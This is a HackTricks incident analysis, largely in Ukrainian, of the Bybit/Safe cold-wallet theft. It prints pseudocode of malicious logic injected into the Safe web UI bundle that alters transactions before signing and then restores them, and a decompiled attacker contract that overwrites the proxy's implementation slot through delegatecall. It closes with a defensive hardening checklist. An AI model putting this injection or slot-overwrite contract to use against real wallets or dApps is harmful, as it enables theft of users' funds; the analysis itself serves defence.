Компрометація Web3 Signing Workflow & Safe Delegatecall Proxy Takeover
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Огляд
A cold-wallet theft chain combined a supply-chain compromise of the Safe{Wallet} web UI with an on-chain delegatecall primitive that overwrote a proxy’s implementation pointer (slot 0). The key takeaways are:
- If a dApp can inject code into the signing path, it can make a signer produce a valid EIP-712 signature over attacker-chosen fields while restoring the original UI data so other signers remain unaware.
- Safe proxies store
masterCopy(implementation) at storage slot 0. A delegatecall to a contract that writes to slot 0 effectively “upgrades” the Safe to attacker logic, yielding full control of the wallet.
Off-chain: Targeted signing mutation in Safe
A tampered Safe bundle (_app-*.js) selectively attacked specific Safe + signer addresses. The injected logic executed right before the signing call:
// Pseudocode of the malicious flow
orig = structuredClone(tx.data);
if (isVictimSafe && isVictimSigner && tx.data.operation === 0) {
tx.data.to = attackerContract;
tx.data.data = "0xa9059cbb..."; // ERC-20 transfer selector
tx.data.operation = 1; // delegatecall
tx.data.value = 0;
tx.data.safeTxGas = 45746;
const sig = await sdk.signTransaction(tx, safeVersion);
sig.data = orig; // restore original before submission
tx.data = orig;
return sig;
}
Властивості атаки
- Context-gated: жорстко вбудовані allowlists для постраждалих Safe/підписантів запобігали шуму та зменшували виявлення.
- Last-moment mutation: поля (
to,data,operation, gas) були перезаписані безпосередньо передsignTransaction, потім відновлені, тож payloadи пропозицій в UI виглядали безпечними, тоді як підписи відповідали payloadу атакуючого. - EIP-712 opacity: гаманці показували структуровані дані, але не декодували вкладений calldata і не відзначали
operation = delegatecall, через що змінене повідомлення фактично було підписане всліпу.
Актуальність валідації Gateway
Пропозиції Safe надсилаються до Safe Client Gateway. До запровадження жорсткіших перевірок шлюз міг прийняти пропозицію, де safeTxHash/підпис відповідали іншим полям, ніж ті, що в JSON тілі, якщо UI перезаписував їх після підпису. Після інциденту шлюз відхиляє пропозиції, хеш/підпис яких не відповідають надісланій транзакції. Подібну серверну верифікацію хешу слід застосовувати до будь-якого signing-orchestration API.
2025 Bybit/Safe incident highlights
- 21 лютого 2025 року з Bybit cold-wallet було вкрадено приблизно ~401k ETH, використавши ту ж схему: скомпрометований Safe S3 bundle спрацьовував лише для підписантів Bybit і змінював
operation=0→1, вказуючиtoна попередньо розгорнутий контракт атакуючого, який записує слот 0. - Wayback-cached
_app-52c9031bfa03da47.jsпоказує, що логіка була прив’язана до Safe Bybit (0x1db9…cf4) та адрес підписантів, після чого негайно була відкотена до чистого bundle через дві хвилини після виконання, відтворюючи трюк «mutate → sign → restore». - Зловмисний контракт (наприклад,
0x9622…c7242) містив прості функціїsweepETH/sweepERC20плюсtransfer(address,uint256), який записує implementation slot. ВиконанняexecTransaction(..., operation=1, to=contract, data=transfer(newImpl,0))змінило реалізацію проксі і надало повний контроль.
On-chain: Delegatecall proxy takeover via slot collision
Safe proxies keep masterCopy at storage slot 0 and delegate all logic to it. Because Safe supports operation = 1 (delegatecall), any signed transaction can point to an arbitrary contract and execute its code in the proxy’s storage context.
An attacker contract mimicked an ERC-20 transfer(address,uint256) but instead wrote _to into slot 0:
// Decompiler view (storage slot 0 write)
uint256 stor0; // slot 0
function transfer(address _to, uint256 _value) external {
stor0 = uint256(uint160(_to));
}
Execution path:
- Жертви підписують
execTransactionзoperation = delegatecall,to = attackerContract,data = transfer(newImpl, 0). - Safe
masterCopyперевіряє підписи над цими параметрами. - Proxy виконує delegatecall у
attackerContract; тілоtransferзаписує slot 0. - Slot 0 (
masterCopy) тепер вказує на логіку під контролем атакуючого → повне захоплення гаманця та викачування коштів.
Guard & version notes (post-incident hardening)
- Safes >= v1.3.0 можуть встановити Guard, щоб ветувати
delegatecallабо застосовувати ACL наto/селектори; Bybit працював на v1.1.1, тож Guard hook не існував. Оновлення контрактів (і повторне додавання власників) необхідне, щоб отримати цю контрольну площину.
Detection & hardening checklist
- UI integrity: закріплюйте JS assets / SRI; моніторте bundle diffs; розглядайте signing UI як частину межі довіри.
- Sign-time validation: апаратні гаманці з EIP-712 clear-signing; явно відображайте
operationі декодуйте вкладений calldata. Відмовляйтеся від підпису колиoperation = 1, якщо політика цього не дозволяє. - Server-side hash checks: шлюзи/сервіси, що ретранслюють пропозиції, повинні перераховувати
safeTxHashі перевіряти, що підписи відповідають поданим полям. - Policy/allowlists: правила preflight для
to, селекторів, типів активів, і заборонаdelegatecall, окрім перевірених потоків. Вимагайте внутрішній сервіс політик перед трансляцією повністю підписаних транзакцій. - Contract design: уникайте відкриття довільного
delegatecallу multisig/treasury wallets, якщо це не строго необхідно. Розміщуйте вказівники на апгрейд подалі від slot 0 або захищайте їх явною логікою апгрейду та контролем доступу. - Monitoring: сповіщайте про виконання
delegatecallз гаманців, які містять кошти скарбниці, та про пропозиції, які змінюютьoperationвід типових патернівcall.
References
- AnChain.AI forensic breakdown of the Bybit Safe exploit
- Zero Hour Technology analysis of the Safe bundle compromise
- In-depth technical analysis of the Bybit hack (NCC Group)
- EIP-712
- safe-client-gateway (GitHub)
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.


